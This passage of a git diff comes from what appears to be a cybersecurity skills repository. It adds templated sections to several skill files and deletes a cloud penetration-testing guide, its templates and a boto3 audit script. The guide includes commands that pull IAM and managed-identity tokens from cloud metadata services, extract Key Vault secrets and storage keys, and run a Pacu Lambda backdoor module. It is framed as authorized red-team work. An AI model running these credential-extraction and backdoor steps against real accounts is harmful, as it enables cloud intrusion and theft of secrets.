- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with incident response concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
## Communication Framework
|
||||
|
||||
### Severity Classification
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)
|
||||
|
||||
@@ -15,6 +15,21 @@ license: Apache-2.0
|
||||
|
||||
A SOC escalation matrix defines how security incidents move through the organization based on severity, impact, and response requirements. Modern SOCs use context-driven escalation combining business risk, asset criticality, and data sensitivity rather than purely severity-based models. Organizations using AI and automation in their SOC cut detection-and-containment lifecycle to approximately 161 days, an 80-day improvement over the 241-day industry average.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring building soc escalation matrix capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with soc operations concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
## SOC Tier Structure
|
||||
|
||||
### Tier 1 - Alert Triage Analyst
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Splunk's Threat Intelligence Framework in Enterprise Security enables SOC teams to automatically correlate indicators of compromise (IOCs) against security events. The framework ingests threat feeds, normalizes indicators into KV Store collections, and uses lookup-based correlation searches to flag matching events. Splunk Threat Intelligence Management centralizes collection, normalization, and enrichment from multiple sources, reducing triage time by providing analysts with immediate context.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring building threat intelligence enrichment in splunk capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Splunk Enterprise Security (ES) 7.x or later
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
DefectDojo is an open-source application vulnerability management platform that aggregates findings from 200+ security tools, deduplicates results, tracks remediation progress, and provides executive dashboards. It serves as a central hub for vulnerability management, integrating with CI/CD pipelines, Jira for ticketing, and Slack for notifications. DefectDojo supports OWASP-based categorization and provides REST API for automation.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring building vulnerability dashboard with defectdojo capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Docker and Docker Compose
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
A vulnerability exception tracking system manages cases where vulnerabilities cannot be remediated within SLA timelines. It provides structured workflows for requesting exceptions, documenting compensating controls, obtaining risk acceptance approvals, and automatically expiring exceptions when their validity period ends. This ensures organizations maintain visibility into accepted risks while complying with frameworks like PCI DSS, SOC 2, and NIST CSF.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring building vulnerability exception tracking system capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+ with `flask`, `sqlalchemy`, `requests`, `jinja2`
|
||||
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,258 +0,0 @@
|
||||
---
|
||||
name: conducting-cloud-infrastructure-penetration-test
|
||||
description: Perform a cloud infrastructure penetration test across AWS, Azure, and GCP to identify IAM misconfigurations, exposed storage buckets, insecure serverless functions, and cloud-native attack paths using Pacu, ScoutSuite, and Prowler.
|
||||
domain: cybersecurity
|
||||
subdomain: penetration-testing
|
||||
tags: [cloud-pentest, AWS, Azure, GCP, Pacu, ScoutSuite, Prowler, IAM, S3, cloud-security]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Conducting Cloud Infrastructure Penetration Test
|
||||
|
||||
## Overview
|
||||
|
||||
Cloud infrastructure penetration testing identifies security weaknesses in AWS, Azure, and GCP environments by targeting IAM policies, storage configurations, compute instances, serverless functions, network controls, and Kubernetes clusters. Cloud-specific attack vectors include over-privileged IAM roles, misconfigured storage buckets, exposed metadata services, insecure API endpoints, and lateral movement through cloud service chains.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Written authorization and cloud provider notification (AWS penetration testing policy, Azure rules, GCP terms)
|
||||
- Cloud credentials with read-only access (assumed breach model) or unauthenticated external testing
|
||||
- Tools: Pacu (AWS), ScoutSuite, Prowler, AzureHound, GCPBucketBrute, CloudMapper
|
||||
- Understanding of shared responsibility model for each provider
|
||||
|
||||
## AWS Penetration Testing
|
||||
|
||||
### Initial Enumeration
|
||||
|
||||
```bash
|
||||
# Verify caller identity
|
||||
aws sts get-caller-identity
|
||||
|
||||
# Enumerate IAM permissions
|
||||
aws iam get-user
|
||||
aws iam list-attached-user-policies --user-name testuser
|
||||
aws iam list-user-policies --user-name testuser
|
||||
|
||||
# Enumerate all IAM users and roles
|
||||
aws iam list-users
|
||||
aws iam list-roles
|
||||
aws iam list-groups
|
||||
|
||||
# Enumerate EC2 instances
|
||||
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress]' --output table
|
||||
|
||||
# Enumerate S3 buckets
|
||||
aws s3 ls
|
||||
aws s3 ls s3://target-bucket --recursive
|
||||
|
||||
# Enumerate Lambda functions
|
||||
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]' --output table
|
||||
|
||||
# Enumerate RDS databases
|
||||
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]' --output table
|
||||
|
||||
# Enumerate secrets
|
||||
aws secretsmanager list-secrets
|
||||
aws ssm describe-parameters
|
||||
```
|
||||
|
||||
### Pacu Exploitation Framework
|
||||
|
||||
```bash
|
||||
# Install and configure Pacu
|
||||
pip install pacu
|
||||
pacu
|
||||
|
||||
# Import AWS keys
|
||||
Pacu> set_keys
|
||||
Pacu> import_keys testuser
|
||||
|
||||
# Run enumeration modules
|
||||
Pacu> run iam__enum_permissions
|
||||
Pacu> run iam__enum_users_roles_policies_groups
|
||||
Pacu> run ec2__enum
|
||||
Pacu> run s3__enum
|
||||
Pacu> run lambda__enum
|
||||
|
||||
# Privilege escalation checks
|
||||
Pacu> run iam__privesc_scan
|
||||
|
||||
# Exploit S3 bucket misconfigurations
|
||||
Pacu> run s3__bucket_finder
|
||||
|
||||
# EC2 metadata SSRF exploitation
|
||||
Pacu> run ec2__metadata_services
|
||||
|
||||
# Lambda backdoor (authorized testing)
|
||||
Pacu> run lambda__backdoor_new_roles
|
||||
```
|
||||
|
||||
### S3 Bucket Testing
|
||||
|
||||
```bash
|
||||
# Test for public buckets
|
||||
aws s3 ls s3://target-corp-backup --no-sign-request
|
||||
aws s3 cp s3://target-corp-backup/test.txt /tmp/ --no-sign-request
|
||||
|
||||
# Check bucket policy
|
||||
aws s3api get-bucket-policy --bucket target-corp-backup
|
||||
aws s3api get-bucket-acl --bucket target-corp-backup
|
||||
|
||||
# Test for ACL misconfigurations
|
||||
aws s3api put-object --bucket target-corp-backup --key pentest_proof.txt \
|
||||
--body /tmp/proof.txt
|
||||
```
|
||||
|
||||
### EC2 Instance Metadata Exploitation
|
||||
|
||||
```bash
|
||||
# From a compromised EC2 instance:
|
||||
# IMDSv1 (if not disabled)
|
||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
|
||||
|
||||
# Extract temporary credentials
|
||||
# Use them to enumerate further permissions
|
||||
export AWS_ACCESS_KEY_ID=<from_metadata>
|
||||
export AWS_SECRET_ACCESS_KEY=<from_metadata>
|
||||
export AWS_SESSION_TOKEN=<from_metadata>
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
## Azure Penetration Testing
|
||||
|
||||
### Azure Enumeration
|
||||
|
||||
```bash
|
||||
# Login with test credentials
|
||||
az login -u testuser@target.onmicrosoft.com -p 'Password123'
|
||||
|
||||
# Enumerate subscriptions
|
||||
az account list --output table
|
||||
|
||||
# Enumerate resource groups
|
||||
az group list --output table
|
||||
|
||||
# Enumerate VMs
|
||||
az vm list --output table
|
||||
|
||||
# Enumerate storage accounts
|
||||
az storage account list --output table
|
||||
|
||||
# Enumerate App Services
|
||||
az webapp list --output table
|
||||
|
||||
# Enumerate Key Vaults
|
||||
az keyvault list --output table
|
||||
|
||||
# Enumerate Azure AD users
|
||||
az ad user list --output table
|
||||
|
||||
# AzureHound for attack paths (like BloodHound for Azure)
|
||||
azurehound list -u testuser@target.onmicrosoft.com -p 'Password123' -o azurehound.json
|
||||
```
|
||||
|
||||
### Azure-Specific Attacks
|
||||
|
||||
```bash
|
||||
# Enumerate Managed Identity from compromised VM
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
|
||||
# Storage account key extraction
|
||||
az storage account keys list --resource-group RG-Production --account-name targetstorageacct
|
||||
|
||||
# Key Vault secret extraction
|
||||
az keyvault secret list --vault-name target-keyvault
|
||||
az keyvault secret show --vault-name target-keyvault --name admin-password
|
||||
|
||||
# Stormspotter — Azure attack graph
|
||||
python stormspotter.py --cli
|
||||
```
|
||||
|
||||
## GCP Penetration Testing
|
||||
|
||||
### GCP Enumeration
|
||||
|
||||
```bash
|
||||
# Authenticate
|
||||
gcloud auth login
|
||||
|
||||
# List projects
|
||||
gcloud projects list
|
||||
|
||||
# Enumerate compute instances
|
||||
gcloud compute instances list
|
||||
|
||||
# Enumerate storage buckets
|
||||
gsutil ls
|
||||
gsutil ls gs://target-bucket/
|
||||
|
||||
# Enumerate IAM policies
|
||||
gcloud projects get-iam-policy PROJECT_ID
|
||||
|
||||
# Enumerate Cloud Functions
|
||||
gcloud functions list
|
||||
|
||||
# Enumerate service accounts
|
||||
gcloud iam service-accounts list
|
||||
|
||||
# Check for public buckets
|
||||
gsutil ls -L gs://target-bucket/ | grep "Access control"
|
||||
```
|
||||
|
||||
## Cross-Cloud Security Assessment
|
||||
|
||||
### ScoutSuite Multi-Cloud Audit
|
||||
|
||||
```bash
|
||||
# AWS audit
|
||||
scout suite aws --profile testuser
|
||||
|
||||
# Azure audit
|
||||
scout suite azure --cli
|
||||
|
||||
# GCP audit
|
||||
scout suite gcp --user-account
|
||||
|
||||
# Review results in HTML dashboard
|
||||
# Focus on: IAM, storage, networking, logging findings
|
||||
```
|
||||
|
||||
### Prowler (AWS CIS Benchmark)
|
||||
|
||||
```bash
|
||||
# Run full CIS benchmark scan
|
||||
prowler aws --profile testuser
|
||||
|
||||
# Run specific checks
|
||||
prowler aws -c check11 check12 check13 # IAM checks
|
||||
prowler aws -g s3 # S3 group
|
||||
prowler aws -g forensics-ready # Logging checks
|
||||
|
||||
# Export results
|
||||
prowler aws -M json-ocsf -o ./prowler_results/
|
||||
```
|
||||
|
||||
## Findings Matrix
|
||||
|
||||
| Finding | Cloud | Severity | Remediation |
|
||||
|---------|-------|----------|-------------|
|
||||
| Public S3 bucket with PII | AWS | Critical | Enable bucket policy deny public access |
|
||||
| Over-privileged IAM role on Lambda | AWS | High | Implement least-privilege IAM policies |
|
||||
| IMDSv1 enabled on EC2 | AWS | High | Enforce IMDSv2 across all instances |
|
||||
| Storage account with public blob access | Azure | Critical | Disable anonymous blob access |
|
||||
| Key Vault accessible by all users | Azure | High | Restrict Key Vault access policies |
|
||||
| GCS bucket with allUsers read | GCP | Critical | Remove allUsers permission |
|
||||
| Service account key exposed in repo | GCP | Critical | Rotate key, enable Workload Identity |
|
||||
|
||||
## References
|
||||
|
||||
- Pacu: https://github.com/RhinoSecurityLabs/pacu
|
||||
- ScoutSuite: https://github.com/nccgroup/ScoutSuite
|
||||
- Prowler: https://github.com/prowler-cloud/prowler
|
||||
- AzureHound: https://github.com/BloodHoundAD/AzureHound
|
||||
- AWS Penetration Testing Policy: https://aws.amazon.com/security/penetration-testing/
|
||||
- HackTricks Cloud: https://cloud.hacktricks.wiki/
|
||||
@@ -1,25 +0,0 @@
|
||||
# Cloud Infrastructure Penetration Test — Report Template
|
||||
|
||||
## Document Control
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Cloud Provider(s) | AWS / Azure / GCP |
|
||||
| Account/Subscription IDs | [IDs] |
|
||||
| Starting Access | [Read-only IAM user / Unauthenticated] |
|
||||
| Period | [Start] — [End] |
|
||||
|
||||
## Executive Summary
|
||||
[Cloud security posture overview, key misconfigurations, privilege escalation paths]
|
||||
|
||||
## Findings
|
||||
### Finding [N]: [Title]
|
||||
| Attribute | Detail |
|
||||
|-----------|--------|
|
||||
| Provider | [AWS/Azure/GCP] |
|
||||
| Resource | [ARN/Resource ID] |
|
||||
| Severity | [Level] |
|
||||
| Issue | [Description] |
|
||||
| Remediation | [Fix] |
|
||||
|
||||
## Recommendations
|
||||
1. [Priority recommendations by cloud provider]
|
||||
-47
@@ -1,47 +0,0 @@
|
||||
# Cloud Infrastructure Penetration Test — API Reference
|
||||
|
||||
## Libraries
|
||||
|
||||
| Library | Install | Purpose |
|
||||
|---------|---------|---------|
|
||||
| boto3 | `pip install boto3` | AWS SDK for Python — EC2, S3, IAM, security group enumeration |
|
||||
| ScoutSuite | `pip install scoutsuite` | Multi-cloud security auditing tool |
|
||||
| pacu | `pip install pacu` | AWS exploitation framework for penetration testing |
|
||||
|
||||
## Key boto3 Methods
|
||||
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `ec2.describe_security_groups()` | List all security groups with inbound/outbound rules |
|
||||
| `ec2.describe_instances()` | Enumerate EC2 instances with metadata options |
|
||||
| `s3.list_buckets()` | List all S3 buckets in the account |
|
||||
| `s3.get_bucket_acl(Bucket=name)` | Check bucket ACL for public access grants |
|
||||
| `s3.get_bucket_policy(Bucket=name)` | Retrieve bucket resource policy JSON |
|
||||
| `iam.list_users()` | Enumerate all IAM users |
|
||||
| `iam.list_attached_user_policies(UserName=u)` | List managed policies attached to a user |
|
||||
| `iam.list_access_keys(UserName=u)` | List access keys with creation dates |
|
||||
| `iam.simulate_principal_policy()` | Test effective permissions for a principal |
|
||||
| `sts.get_caller_identity()` | Identify current credentials (account, ARN) |
|
||||
|
||||
## ScoutSuite CLI
|
||||
|
||||
```bash
|
||||
scout aws --no-browser --report-dir ./report
|
||||
scout azure --cli --no-browser
|
||||
scout gcp --no-browser
|
||||
```
|
||||
|
||||
## Key Constants
|
||||
|
||||
| Constant | Value |
|
||||
|----------|-------|
|
||||
| IMDSv2 required | `HttpTokens: "required"` |
|
||||
| Public ACL URI | `http://acs.amazonaws.com/groups/global/AllUsers` |
|
||||
| Admin policy ARN | `arn:aws:iam::aws:policy/AdministratorAccess` |
|
||||
|
||||
## External References
|
||||
|
||||
- [AWS Penetration Testing Policy](https://aws.amazon.com/security/penetration-testing/)
|
||||
- [ScoutSuite Documentation](https://github.com/nccgroup/ScoutSuite/wiki)
|
||||
- [Pacu Wiki](https://github.com/RhinoSecurityLabs/pacu/wiki)
|
||||
- [boto3 EC2 Reference](https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html)
|
||||
@@ -1,12 +0,0 @@
|
||||
# Standards — Cloud Infrastructure Penetration Testing
|
||||
|
||||
## Cloud Provider Policies
|
||||
- AWS: https://aws.amazon.com/security/penetration-testing/
|
||||
- Azure: https://learn.microsoft.com/en-us/azure/security/fundamentals/pen-testing
|
||||
- GCP: https://cloud.google.com/terms/aup
|
||||
|
||||
## Frameworks
|
||||
- CIS Benchmarks for AWS/Azure/GCP
|
||||
- NIST SP 800-144: Guidelines on Security and Privacy in Public Cloud Computing
|
||||
- CSA Cloud Controls Matrix (CCM)
|
||||
- MITRE ATT&CK Cloud Matrix: https://attack.mitre.org/matrices/enterprise/cloud/
|
||||
@@ -1,13 +0,0 @@
|
||||
# Workflows — Cloud Infrastructure Penetration Testing
|
||||
|
||||
## Attack Flow
|
||||
```
|
||||
Cloud Credentials / Unauthenticated
|
||||
│
|
||||
├── IAM Enumeration (permissions, roles, policies)
|
||||
├── Resource Discovery (compute, storage, serverless)
|
||||
├── Privilege Escalation (IAM chaining, role assumption)
|
||||
├── Data Access (storage buckets, databases, secrets)
|
||||
├── Lateral Movement (cross-account, cross-service)
|
||||
└── Impact Demonstration (data exfiltration proof)
|
||||
```
|
||||
@@ -1,160 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Cloud infrastructure penetration testing agent using boto3 and ScoutSuite."""
|
||||
|
||||
import json
|
||||
import sys
|
||||
import argparse
|
||||
import subprocess
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
import boto3
|
||||
from botocore.exceptions import ClientError
|
||||
except ImportError:
|
||||
print("Install: pip install boto3")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def enumerate_public_resources(session):
|
||||
"""Find publicly accessible resources across AWS services."""
|
||||
findings = []
|
||||
ec2 = session.client("ec2")
|
||||
for sg in ec2.describe_security_groups()["SecurityGroups"]:
|
||||
for perm in sg.get("IpPermissions", []):
|
||||
for ip_range in perm.get("IpRanges", []):
|
||||
if ip_range.get("CidrIp") == "0.0.0.0/0":
|
||||
findings.append({
|
||||
"type": "open_security_group",
|
||||
"resource": sg["GroupId"],
|
||||
"port": perm.get("FromPort", "all"),
|
||||
"severity": "HIGH",
|
||||
})
|
||||
s3 = session.client("s3")
|
||||
for bucket in s3.list_buckets().get("Buckets", []):
|
||||
try:
|
||||
acl = s3.get_bucket_acl(Bucket=bucket["Name"])
|
||||
for grant in acl.get("Grants", []):
|
||||
grantee = grant.get("Grantee", {})
|
||||
if grantee.get("URI", "").endswith("AllUsers"):
|
||||
findings.append({
|
||||
"type": "public_s3_bucket",
|
||||
"resource": bucket["Name"],
|
||||
"permission": grant["Permission"],
|
||||
"severity": "CRITICAL",
|
||||
})
|
||||
except ClientError:
|
||||
pass
|
||||
return findings
|
||||
|
||||
|
||||
def check_iam_weaknesses(session):
|
||||
"""Audit IAM for privilege escalation paths."""
|
||||
iam = session.client("iam")
|
||||
issues = []
|
||||
for user in iam.list_users()["Users"]:
|
||||
policies = iam.list_attached_user_policies(UserName=user["UserName"])
|
||||
for pol in policies["AttachedPolicies"]:
|
||||
if pol["PolicyArn"].endswith("/AdministratorAccess"):
|
||||
issues.append({
|
||||
"type": "admin_user",
|
||||
"user": user["UserName"],
|
||||
"policy": pol["PolicyName"],
|
||||
"severity": "HIGH",
|
||||
})
|
||||
keys = iam.list_access_keys(UserName=user["UserName"])
|
||||
for key in keys["AccessKeyMetadata"]:
|
||||
if key["Status"] == "Active":
|
||||
age = (datetime.utcnow() - key["CreateDate"].replace(tzinfo=None)).days
|
||||
if age > 90:
|
||||
issues.append({
|
||||
"type": "stale_access_key",
|
||||
"user": user["UserName"],
|
||||
"key_id": key["AccessKeyId"],
|
||||
"age_days": age,
|
||||
"severity": "MEDIUM",
|
||||
})
|
||||
return issues
|
||||
|
||||
|
||||
def check_metadata_service(session):
|
||||
"""Check EC2 instances for IMDSv1 (SSRF-exploitable metadata)."""
|
||||
ec2 = session.client("ec2")
|
||||
vulnerable = []
|
||||
paginator = ec2.get_paginator("describe_instances")
|
||||
for page in paginator.paginate():
|
||||
for res in page["Reservations"]:
|
||||
for inst in res["Instances"]:
|
||||
md = inst.get("MetadataOptions", {})
|
||||
if md.get("HttpTokens") != "required":
|
||||
vulnerable.append({
|
||||
"type": "imdsv1_enabled",
|
||||
"instance_id": inst["InstanceId"],
|
||||
"state": inst["State"]["Name"],
|
||||
"severity": "HIGH",
|
||||
})
|
||||
return vulnerable
|
||||
|
||||
|
||||
def run_scoutsuite_scan(provider="aws"):
|
||||
"""Run ScoutSuite for comprehensive cloud audit."""
|
||||
cmd = ["scout", provider, "--no-browser", "--report-dir", "/tmp/scoutsuite-report"]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
|
||||
return {"status": "completed", "output": result.stdout[-500:]}
|
||||
except FileNotFoundError:
|
||||
